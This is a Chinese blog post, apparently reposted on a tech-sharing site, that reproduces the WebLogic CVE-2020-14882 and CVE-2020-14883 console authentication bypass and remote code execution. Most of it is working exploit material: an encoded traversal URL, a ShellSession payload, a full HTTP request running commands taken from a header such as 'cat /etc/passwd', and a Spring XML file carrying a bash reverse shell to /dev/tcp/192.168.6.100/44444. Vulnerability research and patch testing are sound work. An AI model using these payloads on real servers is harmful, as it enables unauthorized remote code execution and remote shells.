ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

weblogicCVE-2020-14882,CVE-2020-14883漏洞复现

2021-05-10 15:32:25  阅读:458  来源: 互联网

标签:xml 252e% 14882 14883 漏洞 2020 weblogic CVE com


Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

影响版本

Oracle:Weblogic:

10.3.6.0.0

12.1.3.0.0

12.2.1.3.0

12.2.1.4.0

14.1.1.0.0

 

漏洞环境

Weblogic 12.2.1.3

 

复现

1.1 CVE-2020-14883: 权限绕过漏洞

低权限的用户访问以下URL,通过未授权访问到管理后台页面

http://ip:7001/console/css/%252e%252e%252fconsole.portal

 

 

2.CVE-2020-14882: 代码执行漏洞

 

此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过`com.tangosol.coherence.mvel2.sh.ShellSession`,二是通过`com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext`。

 


直接访问如下URL,即可利用`com.tangosol.coherence.mvel2.sh.ShellSession`执行命令:

 

```
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")
```

页面显示的就是404,但是命令已经执行

 

 

 

 

 

 

 

Payload来自:https://github.com/jas502n/CVE-2020-14882
这个payload只能在Weblogic 12.2.1以上版本利用,因为10.3.6不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

 

 

 

 

任意执行命令

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 45.77.127.27:7001
cmd: cat /etc/passwd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1256

_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("A").next();
    weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");
}executeThread.interrupt();
");

 

 

 

 

 

 

 

如果这个用不了,只能另找

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext来进行使用。

 

需要构造一个xml文件,需要靶机能够进行访问,xml文件内容:

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[bash -i >& /dev/tcp/192.168.6.100/44444 0>&1]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans> 

 

 

 

 

 

 然后通过方式如下URL,即可让Weblogic加载这个XML,并执行其中的payload:

POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 172.16.242.134:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 155

_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.16.242.1:8989/poc.xml")

 

 

 

此外weblogic的漏洞还有

    #控制台路径泄露
    Console  
    
    #SSRF:
    CVE-2014-4210      
    
    #JAVA反序列化
    CVE-2016-0638  
    CVE-2016-3510   
    CVE-2017-3248   
    CVE-2018-2628 
    CVE-2018-2893
    CVE-2019-2725
    CVE-2019-2729
    CVE_2019_2890
    
    #任意文件上传
    CVE-2018-2894   
    
    #XMLDecoder反序列化
    CVE-2017-3506
    CVE-2017-10271

这边全部漏洞一一复现太久了,以后有时间再整,这时候就需要上工具了
github地址 --> https://github.com/rabbitmask/WeblogicScan
几乎收录了全部的weblogic漏洞,牛

From Weblogic漏洞——从入门到放弃 https://www.freebuf.com/column/197339.html

 

 太强了家人们




 

标签:xml,252e%,14882,14883,漏洞,2020,weblogic,CVE,com
来源: https://www.cnblogs.com/paku/p/14751212.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有